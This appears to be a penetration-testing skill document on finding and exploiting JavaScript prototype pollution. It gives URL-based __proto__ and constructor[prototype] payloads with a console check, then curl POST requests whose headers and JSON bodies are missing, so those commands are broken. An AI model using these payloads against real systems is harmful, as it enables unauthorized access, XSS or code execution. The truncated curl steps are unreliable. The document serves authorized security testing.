exploiting-prototype-pollution-in-javascript

name	exploiting-prototype-pollution-in-javascript
description	Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript/Node.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.
domain	cybersecurity
subdomain	web-application-security
tags	["prototype-pollution","javascript","node-js","xss","rce","property-injection","dom-xss","server-side-pollution"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1055"]

Exploiting Prototype Pollution in JavaScript

When to Use

• When testing Node.js or JavaScript-heavy web applications
• During assessment of APIs accepting deep-merged JSON objects
• When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
• During code review of object merge/clone/extend operations
• When evaluating npm packages for prototype pollution gadgets

Prerequisites

• Burp Suite with DOM Invader extension for client-side prototype pollution detection
• Node.js development environment for server-side testing
• Understanding of JavaScript prototype chain and object inheritance
• Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
• Prototype Pollution Gadgets Scanner Burp extension for server-side detection
• Browser developer console for client-side prototype manipulation

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d 


curl -X POST http://target.com/api/update \
  -H  \
  -d 



curl -X POST http://target.com/api/merge \
  -H  \
  -d 



curl -X POST http://target.com/api/settings \
  -H  \
  -d